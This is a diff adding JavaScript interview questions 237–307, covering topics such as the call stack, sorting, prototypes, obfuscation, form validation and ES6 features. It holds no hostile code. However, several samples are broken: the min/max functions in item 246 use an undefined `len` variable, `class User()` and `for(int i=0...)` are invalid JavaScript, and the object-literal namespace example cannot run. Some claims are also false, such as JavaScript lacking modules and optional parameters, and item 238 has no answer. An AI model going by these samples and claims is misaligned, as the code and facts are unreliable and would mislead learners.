+        The Event Loop is a queue of callback functions. When an async function executes, the callback function is pushed into the queue. The JavaScript engine doesn't start processing the event loop until the async function has finished executing the code.
+        **Note:** It allows Node.js to perform non-blocking I/O operations even though JavaScript is single-threaded.
+
+237.    What is call stack
+
+        Call Stack is a data structure for javascript interpreters to keep track of function calls in the program. It has two major actions,
+
+        1. Whenever you call a function for its execution, you are pushing it to the stack.
+        2. Whenever the execution is completed, the function is popped out of the stack.
+
+        Let's take an example and it's state representation in a diagram format
+
+        ```javascript
+        function hungry() {
+            eatFruits();
+        }
+        function eatFruits() {
+            return "I'm eating fruits";
+        }
+
+        // Invoke the `hungry` function
+        hungry();
+        ```
+
+        The above code processed in a call stack as below,
+
+        1. Add the `hungry()` function to the call stack list and execute the code.
+        2. Add the `eatFruits()` function to the call stack list and execute the code.
+        3. Delete the `eatFruits()` function from our call stack list.
+        4. Delete the `hungry()` function from the call stack list since there are no items anymore.
+
+        ![Screenshot](images/call-stack.png)
+
+238.    What is an event queue
+
+239.    What is a decorator
+
+        A decorator is an expression that evaluates to a function and that takes the target, name, and decorator descriptor as arguments. Also, it optionally returns a decorator descriptor to install on the target object. Let's define admin decorator for user class at design time,
+
+        ```javascript
+        function admin(isAdmin) {
+           return function(target) {
+               target.isAdmin = isAdmin;
+           }
+        }
+
+        @admin(true)
+        class User() {
+        }
+        console.log(User.isAdmin); //true
+
+         @admin(false)
+         class User() {
+         }
+         console.log(User.isAdmin); //false
+        ```
+
+240.    What are the properties of Intl object
+
+        Below are the list of properties available on Intl object,
+
+        1. **Collator:** These are the objects that enable language-sensitive string comparison.
+        2. **DateTimeFormat:** These are the objects that enable language-sensitive date and time formatting.
+        3. **ListFormat:** These are the objects that enable language-sensitive list formatting.
+        4. **NumberFormat:** Objects that enable language-sensitive number formatting.
+        5. **PluralRules:** Objects that enable plural-sensitive formatting and language-specific rules for plurals.
+        6. **RelativeTimeFormat:** Objects that enable language-sensitive relative time formatting.
+
+241.    What is an Unary operator
+
+        The unary(+) operator is used to convert a variable to a number.If the variable cannot be converted, it will still become a number but with the value NaN. Let's see this behavior in an action.
+
+        ```javascript
+        var x = '100';
+        var y = +x;
+        console.log(typeof x, typeof y); // string, number
+
+        var a = 'Hello';
+        var b = +a;
+        console.log(typeof a, typeof b, b); // string, number, NaN
+        ```
+
+242.    How do you sort elements in an array
+
+        The sort() method is used to sort the elements of an array in place and returns the sorted array. The example usage would be as below,
+
+        ```javascript
+        var months = ['Aug', 'Sep', 'Jan', 'June'];
+        months.sort();
+        console.log(months); //  ["Aug", "Jan", "June", "Sep"]
+        ```
+
+243.    What is the purpose of compareFunction while sorting arrays
+
+        The compareFunction is used to define the sort order. If omitted, the array elements are converted to strings, then sorted according to each character's Unicode code point value. Let's take an example to see the usage of compareFunction,
+
+        ```javascript
+        let numbers = [1, 2, 5, 3, 4];
+        numbers.sort((a, b) => b - a);
+        console.log(numbers); // [5, 4, 3, 2, 1]
+        ```
+
+244.    How do you reversing an array
+
+        You can use the reverse() method to reverse the elements in an array. This method is useful to sort an array in descending order. Let's see the usage of reverse() method in an example,
+
+        ```javascript
+        let numbers = [1, 2, 5, 3, 4];
+        numbers.sort((a, b) => b - a);
+        numbers.reverse();
+        console.log(numbers); // [1, 2, 3, 4 ,5]
+        ```
+
+245.    How do you find min and max value in an array
+
+        You can use `Math.min` and `Math.max` methods on array variables to find the minimum and maximum elements within an array. Let's create two functions to find the min and max value with in an array,
+
+        ```javascript
+        var marks = [50, 20, 70, 60, 45, 30];
+        function findMin(arr) {
+            return Math.min.apply(null, arr);
+        }
+        function findMax(arr) {
+            return Math.max.apply(null, arr);
+        }
+
+        console.log(findMin(marks));
+        console.log(findMax(marks));
+        ```
+
+246.    How do you find min and max values without Math functions
+
+        You can write functions which loop through an array comparing each value with the lowest value or highest value to find the min and max values. Let's create those functions to find min and max values,
+
+        ```javascript
+        var marks = [50, 20, 70, 60, 45, 30];
+        function findMin(arr) {
+            var length = arr.length;
+            var min = Infinity;
+            while (length--) {
+                if (arr[length] < min) {
+                    min = arr[len];
+                }
+            }
+            return min;
+        }
+
+        function findMax(arr) {
+            var length = arr.length;
+            var max = -Infinity;
+            while (len--) {
+                if (arr[length] > max) {
+                    max = arr[length];
+                }
+            }
+            return max;
+        }
+
+        console.log(findMin(marks));
+        console.log(findMax(marks));
+        ```
+
+247.    What is an empty statement and purpose of it
+
+        The empty statement is a semicolon (;) indicating that no statement will be executed, even if JavaScript syntax requires one. Since there is no action with an empty statement you might think that it's usage is quite less, but the empty statement is occasionally useful when you want to create a loop that has an empty body. For example, you can initialize an array with zero values as below,
+
+        ```javascript
+        // Initialize an array a
+        for(int i=0; i < a.length; a[i++] = 0) ;
+        ```
+
+248.    How do you get metadata of a module
+
+        You can use the `import.meta` object which is a meta-property exposing context-specific meta data to a JavaScript module. It contains information about the current module, such as the module's URL. In browsers, you might get different meta data than NodeJS.
+
+        ```javascript
+        <script type="module" src="welcome-module.js"></script>;
+        console.log(import.meta); // { url: "file:///home/user/welcome-module.js" }
+        ```
+
+249.    What is a comma operator
+
+        The comma operator is used to evaluate each of its operands from left to right and returns the value of the last operand. This is totally different from comma usage within arrays, objects, and function arguments and parameters. For example, the usage for numeric expressions would be as below,
+
+        ```javascript
+        var x = 1;
+        x = (x++, x);
+
+        console.log(x); // 2
+        ```
+
+250.    What is the advantage of a comma operator
+
+        It is normally used to include multiple expressions in a location that requires a single expression. One of the common usages of this comma operator is to supply multiple parameters in a `for` loop. For example, the below for loop uses multiple expressions in a single location using comma operator,
+
+        ```javascript
+        for (var a = 0, b =10; a <= 10; a++, b--)
+        ```
+
+        You can also use the comma operator in a return statement where it processes before returning.
+
+        ```javascript
+        function myFunction() {
+            var a = 1;
+            return (a += 10), a; // 11
+        }
+        ```
+
+251.    What is typescript
+
+        TypeScript is a typed superset of JavaScript created by Microsoft that adds optional types, classes, async/await, and many other features, and compiles to plain JavaScript. Angular built entirely in TypeScript and used as a primary language. You can install it globally as
+
+        ```console
+        npm install -g typescript
+        ```
+
+        Let's see a simple example of TypeScript usage,
+
+        ```typescript
+        function greeting(name: string): string {
+            return 'Hello, ' + name;
+        }
+
+        let user = 'Sudheer';
+
+        console.log(greeting(user));
+        ```
+
+        The greeting method allows only string type as argument.
+
+252.    What are the differences between javascript and typescript
+
+        Below are the list of differences between javascript and typescript,
+
+        | feature             | typescript                            | javascript                                      |
+        | ------------------- | ------------------------------------- | ----------------------------------------------- |
+        | Language paradigm   | Object oriented programming language  | Scripting language                              |
+        | Typing support      | Supports static typing                | It has dynamic typing                           |
+        | Modules             | Supported                             | Not supported                                   |
+        | Interface           | It has interfaces concept             | Doesn't support interfaces                      |
+        | Optional parameters | Functions support optional parameters | No support of optional parameters for functions |
+
+253.    What are the advantages of typescript over javascript
+
+        Below are some of the advantages of typescript over javascript,
+
+        1. TypeScript is able to find compile time errors at the development time only and it makes sures less runtime errors. Whereas javascript is an interpreted language.
+        2. TypeScript is strongly-typed or supports static typing which allows for checking type correctness at compile time. This is not available in javascript.
+        3. TypeScript compiler can compile the .ts files into ES3,ES4 and ES5 unlike ES6 features of javascript which may not be supported in some browsers.
+
+254.    What is an object initializer
+
+        An object initializer is an expression that describes the initialization of an Object. The syntax for this expression is represented as a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}). This is also known as literal notation. It is one of the ways to create an object.
+
+        ```javascript
+        var initObject = { a: 'John', b: 50, c: {} };
+
+        console.log(initObject.a); // John
+        ```
+
+255.    What is a constructor method
+
+        The constructor method is a special method for creating and initializing an object created within a class. If you do not specify a constructor method, a default constructor is used. The example usage of constructor would be as below,
+
+        ```javascript
+        class Employee {
+            constructor() {
+                this.name = 'John';
+            }
+        }
+
+        var employeeObject = new Employee();
+
+        console.log(employeeObject.name); // John
+        ```
+
+256.    What happens if you write constructor more than once in a class
+
+        The "constructor" in a class is a special method and it should be defined only once in a class. i.e, If you write a constructor method more than once in a class it will throw a `SyntaxError` error.
+
+        ```javascript
+         class Employee {
+           constructor() {
+             this.name = "John";
+           }
+           constructor() {   //  Uncaught SyntaxError: A class may only have one constructor
+             this.age = 30;
+           }
+         }
+
+         var employeeObject = new Employee();
+
+         console.log(employeeObject.name);
+        ```
+
+257.    How do you call the constructor of a parent class
+
+        You can use the `super` keyword to call the constructor of a parent class. Remember that `super()` must be called before using 'this' reference. Otherwise it will cause a reference error. Let's the usage of it,
+
+        ```javascript
+        class Square extends Rectangle {
+            constructor(length) {
+                super(length, length);
+                this.name = 'Square';
+            }
+
+            get area() {
+                return this.width * this.height;
+            }
+
+            set area(value) {
+                this.area = value;
+            }
+        }
+        ```
+
+258.    How do you get the prototype of an object
+
+        You can use the `Object.getPrototypeOf(obj)` method to return the prototype of the specified object. i.e. The value of the internal `prototype` property. If there are no inherited properties then `null` value is returned.
+
+        ```javascript
+        const newPrototype = {};
+        const newObject = Object.create(newPrototype);
+
+        console.log(Object.getPrototypeOf(newObject) === newPrototype); // true
+        ```
+
+259.    What happens If I pass string type for getPrototype method
+
+        In ES5, it will throw a TypeError exception if the obj parameter isn't an object. Whereas in ES2015, the parameter will be coerced to an `Object`.
+
+        ```javascript
+        // ES5
+        Object.getPrototypeOf('James'); // TypeError: "James" is not an object
+        // ES2015
+        Object.getPrototypeOf('James'); // String.prototype
+        ```
+
+260.    How do you set prototype of one object to another
+
+        You can use the `Object.setPrototypeOf()` method that sets the prototype (i.e., the internal `Prototype` property) of a specified object to another object or null. For example, if you want to set prototype of a square object to rectangle object would be as follows,
+
+        ```javascript
+        Object.setPrototypeOf(Square.prototype, Rectangle.prototype);
+        Object.setPrototypeOf({}, null);
+        ```
+
+261.    How do you check whether an object can be extendable or not
+
+        The `Object.isExtensible()` method is used to determine if an object is extendable or not. i.e, Whether it can have new properties added to it or not.
+
+        ```javascript
+        const newObject = {};
+        console.log(Object.isExtensible(newObject)); //true
+        ```
+
+        **Note:** By default, all the objects are extendable. i.e, The new properties can be added or modified.
+
+262.    How do you prevent an object to extend
+
+        The `Object.preventExtensions()` method is used to prevent new properties from ever being added to an object. In other words, it prevents future extensions to the object. Let's see the usage of this property,
+
+        ```javascript
+        const newObject = {};
+        Object.preventExtensions(newObject); // NOT extendable
+
+        try {
+            Object.defineProperty(newObject, 'newProperty', {
+                // Adding new property
+                value: 100
+            });
+        } catch (e) {
+            console.log(e); // TypeError: Cannot define property newProperty, object is not extensible
+        }
+        ```
+
+263.    What are the different ways to make an object non-extensible
+
+        You can mark an object non-extensible in 3 ways,
+
+        1. Object.preventExtensions
+        2. Object.seal
+        3. Object.freeze
+
+        ```javascript
+        var newObject = {};
+
+        Object.preventExtensions(newObject); // Prevent objects are non-extensible
+        Object.isExtensible(newObject); // false
+
+        var sealedObject = Object.seal({}); // Sealed objects are non-extensible
+        Object.isExtensible(sealedObject); // false
+
+        var frozenObject = Object.freeze({}); // Frozen objects are non-extensible
+        Object.isExtensible(frozenObject); // false
+        ```
+
+264.    How do you define multiple properties on an object
+
+        The `Object.defineProperties()` method is used to define new or modify existing properties directly on an object and returning the object. Let's define multiple properties on an empty object,
+
+        ```javascript
+        const newObject = {};
+
+        Object.defineProperties(newObject, {
+            newProperty1: {
+                value: 'John',
+                writable: true
+            },
+            newProperty2: {}
+        });
+        ```
+
+265.    What is MEAN in javascript
+
+        The MEAN (MongoDB, Express, AngularJS, and Node.js) stack is the most popular open-source JavaScript software tech stack available for building dynamic web apps where you can write both the server-side and client-side halves of the web project entirely in JavaScript.
+
+266.    What Is Obfuscation in javascript
+
+        Obfuscation is the deliberate act of creating obfuscated javascript code(i.e, source or machine code) that is difficult for humans to understand. It is something similar to encryption, but a machine can understand the code and execute it.
+        Let's see the below function before Obfuscation,
+
+        ```javascript
+        function greeting() {
+            console.log('Hello, welcome to JS world');
+        }
+        ```
+
+        And after the code Obfuscation, it would be appeared as below,
+
+        ```javascript
+        eval(
+            (function (p, a, c, k, e, d) {
+                e = function (c) {
+                    return c;
+                };
+                if (!''.replace(/^/, String)) {
+                    while (c--) {
+                        d[c] = k[c] || c;
+                    }
+                    k = [
+                        function (e) {
+                            return d[e];
+                        }
+                    ];
+                    e = function () {
+                        return '\\w+';
+                    };
+                    c = 1;
+                }
+                while (c--) {
+                    if (k[c]) {
+                        p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
+                    }
+                }
+                return p;
+            })("2 1(){0.3('4, 7 6 5 8')}", 9, 9, 'console|greeting|function|log|Hello|JS|to|welcome|world'.split('|'), 0, {})
+        );
+        ```
+
+267.    Why do you need Obfuscation
+
+        Below are the few reasons for Obfuscation,
+
+        1. The Code size will be reduced. So data transfers between server and client will be fast.
+        2. It hides the business logic from outside world and protects the code from others
+        3. Reverse engineering is highly difficult
+        4. The download time will be reduced
+
+268.    What is Minification
+
+        Minification is the process of removing all unnecessary characters(empty spaces are removed) and variables will be renamed without changing it's functionality. It is also a type of obfuscation .
+
+269.    What are the advantages of minification
+
+        Normally it is recommended to use minification for heavy traffic and intensive requirements of resources. It reduces file sizes with below benefits,
+
+        1. Decreases loading times of a web page
+        2. Saves bandwidth usages
+
+270.    What are the differences between Obfuscation and Encryption
+
+        Below are the main differences between Obfuscation and Encryption,
+
+        | Feature            | Obfuscation                                     | Encryption                                                              |
+        | ------------------ | ----------------------------------------------- | ----------------------------------------------------------------------- |
+        | Definition         | Changing the form of any data in any other form | Changing the form of information to an unreadable format by using a key |
+        | A key to decode    | It can be decoded without any key               | It is required                                                          |
+        | Target data format | It will be converted to a complex form          | Converted into an unreadable format                                     |
+
+271.    What are the common tools used for minification
+
+        There are many online/offline tools to minify the javascript files,
+
+        1. Google's Closure Compiler
+        2. UglifyJS2
+        3. jsmin
+        4. javascript-minifier.com/
+        5. prettydiff.com
+
+272.    How do you perform form validation using javascript
+
+        JavaScript can be used to perform HTML form validation. For example, if the form field is empty, the function needs to notify, and return false, to prevent the form being submitted.
+        Lets' perform user login in an html form,
+
+        ```html
+        <form name="myForm" onsubmit="return validateForm()" method="post">
+            User name: <input type="text" name="uname" />
+            <input type="submit" value="Submit" />
+        </form>
+        ```
+
+        And the validation on user login is below,
+
+        ```javascript
+        function validateForm() {
+            var x = document.forms['myForm']['uname'].value;
+            if (x == '') {
+                alert("The username shouldn't be empty");
+                return false;
+            }
+        }
+        ```
+
+273.    How do you perform form validation without javascript
+
+        You can perform HTML form validation automatically without using javascript. The validation enabled by applying the `required` attribute to prevent form submission when the input is empty.
+
+        ```html
+        <form method="post">
+            <input type="text" name="uname" required />
+            <input type="submit" value="Submit" />
+        </form>
+        ```
+
+        **Note:** Automatic form validation does not work in Internet Explorer 9 or earlier.
+
+274.    What are the DOM methods available for constraint validation
+
+        The below DOM methods are available for constraint validation on an invalid input,
+
+        1. checkValidity(): It returns true if an input element contains valid data.
+        2. setCustomValidity(): It is used to set the validationMessage property of an input element.
+           Let's take an user login form with DOM validations
+
+        ```javascript
+        function myFunction() {
+            var userName = document.getElementById('uname');
+            if (!userName.checkValidity()) {
+                document.getElementById('message').innerHTML = userName.validationMessage;
+            } else {
+                document.getElementById('message').innerHTML = 'Entered a valid username';
+            }
+        }
+        ```
+
+275.    What are the available constraint validation DOM properties
+
+        Below are the list of some of the constraint validation DOM properties available,
+
+        1. validity: It provides a list of boolean properties related to the validity of an input element.
+        2. validationMessage: It displays the message when the validity is false.
+        3. willValidate: It indicates if an input element will be validated or not.
+
+276.    What are the list of validity properties
+
+        The validity property of an input element provides a set of properties related to the validity of data.
+
+        1. customError: It returns true, if a custom validity message is set.
+        2. patternMismatch: It returns true, if an element's value does not match its pattern attribute.
+        3. rangeOverflow: It returns true, if an element's value is greater than its max attribute.
+        4. rangeUnderflow: It returns true, if an element's value is less than its min attribute.
+        5. stepMismatch: It returns true, if an element's value is invalid according to step attribute.
+        6. tooLong: It returns true, if an element's value exceeds its maxLength attribute.
+        7. typeMismatch: It returns true, if an element's value is invalid according to type attribute.
+        8. valueMissing: It returns true, if an element with a required attribute has no value.
+        9. valid: It returns true, if an element's value is valid.
+
+277.    Give an example usage of rangeOverflow property
+
+        If an element's value is greater than its max attribute then rangeOverflow property returns true. For example, the below form submission throws an error if the value is more than 100,
+
+        ```html
+        <input id="age" type="number" max="100" /> <button onclick="myOverflowFunction()">OK</button>
+        ```
+
+        ```javascript
+        function myOverflowFunction() {
+            if (document.getElementById('age').validity.rangeOverflow) {
+                alert('The mentioned age is not allowed');
+            }
+        }
+        ```
+
+278.    Is enums feature available in javascript
+
+        No, javascript does not natively support enums. But there are different kinds of solutions to simulate them even though they may not provide exact equivalents. For example, you can use freeze or seal on object,
+
+        ```javascript
+        var DaysEnum = Object.freeze({"monday":1, "tuesday":2, "wednesday":3, ...})
+        ```
+
+279.    What is an enum
+
+        An enum is a type restricting variables to one value from a predefined set of constants. JavaScript has no enums but typescript provides built-in enum support.
+
+        ```javascript
+        enum Color {
+         RED, GREEN, BLUE
+        }
+        ```
+
+280.    How do you list all properties of an object
+
+        You can use the `Object.getOwnPropertyNames()` method which returns an array of all properties found directly in a given object. Let's the usage of it in an example,
+
+        ```javascript
+        const newObject = {
+            a: 1,
+            b: 2,
+            c: 3
+        };
+
+        console.log(Object.getOwnPropertyNames(newObject));
+        ['a', 'b', 'c'];
+        ```
+
+281.    How do you get property descriptors of an object
+
+        You can use the `Object.getOwnPropertyDescriptors()` method which returns all own property descriptors of a given object. The example usage of this method is below,
+
+        ```javascript
+        const newObject = {
+            a: 1,
+            b: 2,
+            c: 3
+        };
+        const descriptorsObject = Object.getOwnPropertyDescriptors(newObject);
+        console.log(descriptorsObject.a.writable); //true
+        console.log(descriptorsObject.a.configurable); //true
+        console.log(descriptorsObject.a.enumerable); //true
+        console.log(descriptorsObject.a.value); // 1
+        ```
+
+282.    What are the attributes provided by a property descriptor
+
+        A property descriptor is a record which has the following attributes
+
+        1. value: The value associated with the property
+        2. writable: Determines whether the value associated with the property can be changed or not
+        3. configurable: Returns true if the type of this property descriptor can be changed and if the property can be deleted from the corresponding object.
+        4. enumerable: Determines whether the property appears during enumeration of the properties on the corresponding object or not.
+        5. set: A function which serves as a setter for the property
+        6. get: A function which serves as a getter for the property
+
+283.    How do you extend classes
+
+        The `extends` keyword is used in class declarations/expressions to create a class which is a child of another class. It can be used to subclass custom classes as well as built-in objects. The syntax would be as below,
+
+        ```javascript
+        class ChildClass extends ParentClass { ... }
+        ```
+
+        Let's take an example of Square subclass from Polygon parent class,
+
+        ```javascript
+        class Square extends Rectangle {
+            constructor(length) {
+                super(length, length);
+                this.name = 'Square';
+            }
+
+            get area() {
+                return this.width * this.height;
+            }
+
+            set area(value) {
+                this.area = value;
+            }
+        }
+        ```
+
+284.    How do I modify the url without reloading the page
+
+        The `window.location.url` property will be helpful to modify the url but it reloads the page. HTML5 introduced the `history.pushState()` and `history.replaceState()` methods, which allow you to add and modify history entries, respectively. For example, you can use pushState as below,
+
+        ```javascript
+        window.history.pushState('page2', 'Title', '/page2.html');
+        ```
+
+285.    How do you check whether an array includes a particular value or not
+
+        The `Array#includes()` method is used to determine whether an array includes a particular value among its entries by returning either true or false. Let's see an example to find an element(numeric and string) within an array.
+
+        ```javascript
+        var numericArray = [1, 2, 3, 4];
+        console.log(numericArray.includes(3)); // true
+
+        var stringArray = ['green', 'yellow', 'blue'];
+        console.log(stringArray.includes('blue')); //true
+        ```
+
+286.    How do you compare scalar arrays
+
+        You can use length and every method of arrays to compare two scalar(compared directly using ===) arrays. The combination of these expressions can give the expected result,
+
+        ```javascript
+        const arrayFirst = [1, 2, 3, 4, 5];
+        const arraySecond = [1, 2, 3, 4, 5];
+        console.log(arrayFirst.length === arraySecond.length && arrayFirst.every((value, index) => value === arraySecond[index])); // true
+        ```
+
+        If you would like to compare arrays irrespective of order then you should sort them before,
+
+        ```javascript
+        const arrayFirst = [2, 3, 1, 4, 5];
+        const arraySecond = [1, 2, 3, 4, 5];
+        console.log(arrayFirst.length === arraySecond.length && arrayFirst.sort().every((value, index) => value === arraySecond[index])); //true
+        ```
+
+287.    How to get the value from get parameters
+
+        The `new URL()` object accepts the url string and `searchParams` property of this object can be used to access the get parameters. Remember that you may need to use polyfill or `window.location` to access the URL in older browsers(including IE).
+
+        ```javascript
+        let urlString = 'http://www.some-domain.com/about.html?x=1&y=2&z=3'; //window.location.href
+        let url = new URL(urlString);
+        let parameterZ = url.searchParams.get('z');
+        console.log(parameterZ); // 3
+        ```
+
+288.    How do you print numbers with commas as thousand separators
+
+        You can use the `Number.prototype.toLocaleString()` method which returns a string with a language-sensitive representation such as thousand separator,currency etc of this number.
+
+        ```javascript
+        function convertToThousandFormat(x) {
+            return x.toLocaleString(); // 12,345.679
+        }
+
+        console.log(convertToThousandFormat(12345.6789));
+        ```
+
+289.    What is the difference between java and javascript
+
+        Both are totally unrelated programming languages and no relation between them. Java is statically typed, compiled, runs on its own VM. Whereas Javascript is dynamically typed, interpreted, and runs in a browser and nodejs environments. Let's see the major differences in a tabular format,
+        | Feature | Java | JavaScript |
+        |---- | ---- | -----
+        | Typed | It's a strongly typed language | It's a dynamic typed language |
+        | Paradigm | Object oriented programming | Prototype based programming |
+        | Scoping | Block scoped | Function-scoped |
+        | Concurrency | Thread based | event based |
+        | Memory | Uses more memory | Uses less memory. Hence it will be used for web pages |
+
+290.    Does JavaScript supports namespace
+
+        JavaScript doesn't support namespace by default. So if you create any element(function, method, object, variable) then it becomes global and pollutes the global namespace. Let's take an example of defining two functions without any namespace,
+
+        ```javascript
+        function func1() {
+            console.log('This is a first definition');
+        }
+        function func1() {
+            console.log('This is a second definition');
+        }
+        func1(); // This is a second definition
+        ```
+
+        It always calls the second function definition. In this case, namespace will solve the name collision problem.
+
+291.    How do you declare namespace
+
+        Even though JavaScript lacks namespaces, we can use Objects , IIFE to create namespaces.
+
+        1. **Using Object Literal Notation:** Let's wrap variables and functions inside an Object literal which acts as a namespace. After that you can access them using object notation
+
+        ```javascript
+        var namespaceOne = {
+           function func1() {
+               console.log("This is a first definition");
+           }
+        }
+        var namespaceTwo = {
+             function func1() {
+                 console.log("This is a second definition");
+             }
+         }
+        namespaceOne.func1(); // This is a first definition
+        namespaceTwo.func1(); // This is a second definition
+        ```
+
+        1. **Using IIFE (Immediately invoked function expression):** The outer pair of parentheses of IIFE creates a local scope for all the code inside of it and makes the anonymous function a function expression. Due to that, you can create the same function in two different function expressions to act as a namespace.
+
+        ```javascript
+        (function () {
+            function fun1() {
+                console.log('This is a first definition');
+            }
+            fun1();
+        })();
+
+        (function () {
+            function fun1() {
+                console.log('This is a second definition');
+            }
+            fun1();
+        })();
+        ```
+
+        1. **Using a block and a let/const declaration:** In ECMAScript 6, you can simply use a block and a let declaration to restrict the scope of a variable to a block.
+
+        ```javascript
+        {
+            let myFunction = function fun1() {
+                console.log('This is a first definition');
+            };
+            myFunction();
+        }
+        //myFunction(): ReferenceError: myFunction is not defined.
+
+        {
+            let myFunction = function fun1() {
+                console.log('This is a second definition');
+            };
+            myFunction();
+        }
+        //myFunction(): ReferenceError: myFunction is not defined.
+        ```
+
+292.    How do you invoke javascript code in an iframe from parent page
+
+        Initially iFrame needs to be accessed using either `document.getElementBy` or `window.frames`. After that `contentWindow` property of iFrame gives the access for targetFunction
+
+        ```javascript
+        document.getElementById('targetFrame').contentWindow.targetFunction();
+        window.frames[0].frameElement.contentWindow.targetFunction(); // Accessing iframe this way may not work in latest versions chrome and firefox
+        ```
+
+293.    How do get the timezone offset from date
+
+        You can use the `getTimezoneOffset` method of the date object. This method returns the time zone difference, in minutes, from current locale (host system settings) to UTC
+
+        ```javascript
+        var offset = new Date().getTimezoneOffset();
+        console.log(offset); // -480
+        ```
+
+294.    How do you load CSS and JS files dynamically
+
+        You can create both link and script elements in the DOM and append them as child to head tag. Let's create a function to add script and style resources as below,
+
+        ```javascript
+        function loadAssets(filename, filetype) {
+            if (filetype == 'css') {
+                // External CSS file
+                var fileReference = document.createElement('link');
+                fileReference.setAttribute('rel', 'stylesheet');
+                fileReference.setAttribute('type', 'text/css');
+                fileReference.setAttribute('href', filename);
+            } else if (filetype == 'js') {
+                // External JavaScript file
+                var fileReference = document.createElement('script');
+                fileReference.setAttribute('type', 'text/javascript');
+                fileReference.setAttribute('src', filename);
+            }
+            if (typeof fileReference != 'undefined') document.getElementsByTagName('head')[0].appendChild(fileReference);
+        }
+        ```
+
+295.    What are the different methods to find HTML elements in DOM
+
+        If you want to access any element in an HTML page, you need to start with accessing the document object. Later you can use any of the below methods to find the HTML element,
+
+        1. document.getElementById(id): It finds an element by Id
+        2. document.getElementsByTagName(name): It finds an element by tag name
+        3. document.getElementsByClassName(name): It finds an element by class name
+
+296.    What is jQuery
+
+        jQuery is a popular cross-browser JavaScript library that provides Document Object Model (DOM) traversal, event handling, animations and AJAX interactions by minimizing the discrepancies across browsers. It is widely famous with its philosophy of "Write less, do more". For example, you can display welcome message on the page load using jQuery as below,
+
+        ```javascript
+        $(document).ready(function () {
+            // It selects the document and apply the function on page load
+            alert('Welcome to jQuery world');
+        });
+        ```
+
+        **Note:** You can download it from jquery's official site or install it from CDNs, like google.
+
+297.    What is V8 JavaScript engine
+
+        V8 is an open source high-performance JavaScript engine used by the Google Chrome browser, written in C++. It is also being used in the node.js project. It implements ECMAScript and WebAssembly, and runs on Windows 7 or later, macOS 10.12+, and Linux systems that use x64, IA-32, ARM, or MIPS processors.
+        **Note:** It can run standalone, or can be embedded into any C++ application.
+
+298.    Why do we call javascript as dynamic language
+
+        JavaScript is a loosely typed or a dynamic language because variables in JavaScript are not directly associated with any particular value type, and any variable can be assigned/reassigned with values of all types.
+
+        ```javascript
+        let age = 50; // age is a number now
+        age = 'old'; // age is a string now
+        age = true; // age is a boolean
+        ```
+
+299.    What is a void operator
+
+        The `void` operator evaluates the given expression and then returns undefined(i.e, without returning value). The syntax would be as below,
+
+        ```javascript
+        void expression;
+        void expression;
+        ```
+
+        Let's display a message without any redirection or reload
+
+        ```javascript
+        <a href="javascript:void(alert('Welcome to JS world'))">Click here to see a message</a>
+        ```
+
+        **Note:** This operator is often used to obtain the undefined primitive value, using "void(0)".
+
+300.    How to set the cursor to wait
+
+        The cursor can be set to wait in JavaScript by using the property "cursor". Let's perform this behavior on page load using the below function.
+
+        ```javascript
+        function myFunction() {
+            window.document.body.style.cursor = 'wait';
+        }
+        ```
+
+        and this function invoked on page load
+
+        ```html
+        <body onload="myFunction()"></body>
+        ```
+
+301.    How do you create an infinite loop
+
+        You can create infinite loops using for and while loops without using any expressions. The for loop construct or syntax is better approach in terms of ESLint and code optimizer tools,
+
+        ```javascript
+        for (;;) {}
+        while (true) {}
+        ```
+
+302.    Why do you need to avoid with statement
+
+        JavaScript's with statement was intended to provide a shorthand for writing recurring accesses to objects. So it can help reduce file size by reducing the need to repeat a lengthy object reference without performance penalty. Let's take an example where it is used to avoid redundancy when accessing an object several times.
+
+        ```javascript
+        a.b.c.greeting = 'welcome';
+        a.b.c.age = 32;
+        ```
+
+        Using `with` it turns this into:
+
+        ```javascript
+        with (a.b.c) {
+            greeting = 'welcome';
+            age = 32;
+        }
+        ```
+
+        But this `with` statement creates performance problems since one cannot predict whether an argument will refer to a real variable or to a property inside the with argument.
+
+303.    What is the output of below for loops
+
+        ```javascript
+        for (var i = 0; i < 4; i++) {
+            // global scope
+            setTimeout(() => console.log(i));
+        }
+
+        for (let i = 0; i < 4; i++) {
+            // block scope
+            setTimeout(() => console.log(i));
+        }
+        ```
+
+        The output of the above for loops is 4 4 4 4 and 0 1 2 3
+
+        **Explanation:** Due to the event queue/loop of javascript, the `setTimeout` callback function is called after the loop has been executed. Since the variable i is declared with the `var` keyword it became a global variable and the value was equal to 4 using iteration when the time `setTimeout` function is invoked. Hence, the output of the first loop is `4 4 4 4`.
+
+        Whereas in the second loop, the variable i is declared as the `let` keyword it becomes a block scoped variable and it holds a new value(0, 1 ,2 3) for each iteration. Hence, the output of the first loop is `0 1 2 3`.
+
+304.    List down some of the features of ES6
+
+        Below are the list of some new features of ES6,
+
+        1. Support for constants or immutable variables
+        2. Block-scope support for variables, constants and functions
+        3. Arrow functions
+        4. Default parameters
+        5. Rest and Spread Parameters
+        6. Template Literals
+        7. Multi-line Strings
+        8. Destructuring Assignment
+        9. Enhanced Object Literals
+        10. Promises
+        11. Classes
+        12. Modules
+
+305.    What is ES6
+
+        ES6 is the sixth edition of the javascript language and it was released in June 2015. It was initially known as ECMAScript 6 (ES6) and later renamed to ECMAScript 2015. Almost all the modern browsers support ES6 but for the old browsers there are many transpilers, like Babel.js etc.
+
+306.    Can I redeclare let and const variables
+
+        No, you cannot redeclare let and const variables. If you do, it throws below error
+
+        ```console
+        Uncaught SyntaxError: Identifier 'someVariable' has already been declared
+        ```
+
+        **Explanation:** The variable declaration with `var` keyword refers to a function scope and the variable is treated as if it were declared at the top of the enclosing scope due to hoisting feature. So all the multiple declarations contributing to the same hoisted variable without any error. Let's take an example of re-declaring variables in the same scope for both var and let/const variables.
+
+        ```javascript
+        var name = 'John';
+        function myFunc() {
+            var name = 'Nick';
+            var name = 'Abraham'; // Re-assigned in the same function block
+            alert(name); // Abraham
+        }
+        myFunc();
+        alert(name); // John
+        ```
+
+        The block-scoped multi-declaration throws syntax error,
+
+        ```javascript
+        let name = 'John';
+        function myFunc() {
+            let name = 'Nick';
+            let name = 'Abraham'; // Uncaught SyntaxError: Identifier 'name' has already been declared
+            alert(name);
+        }
+
+        myFunc();
+        alert(name);
+        ```
+
+307.    Is const variable makes the value immutable
+
+        No, the const variable doesn't make the value immutable. But it disallows subsequent assignments(i.e, You can declare with assignment but can't assign another value later)
+
+        ```javascript
+        const userList = [];
+        userList.push('John'); // Can mutate even though it can't re-assign
+        console.log(userList); // ['John']
+        ```
+
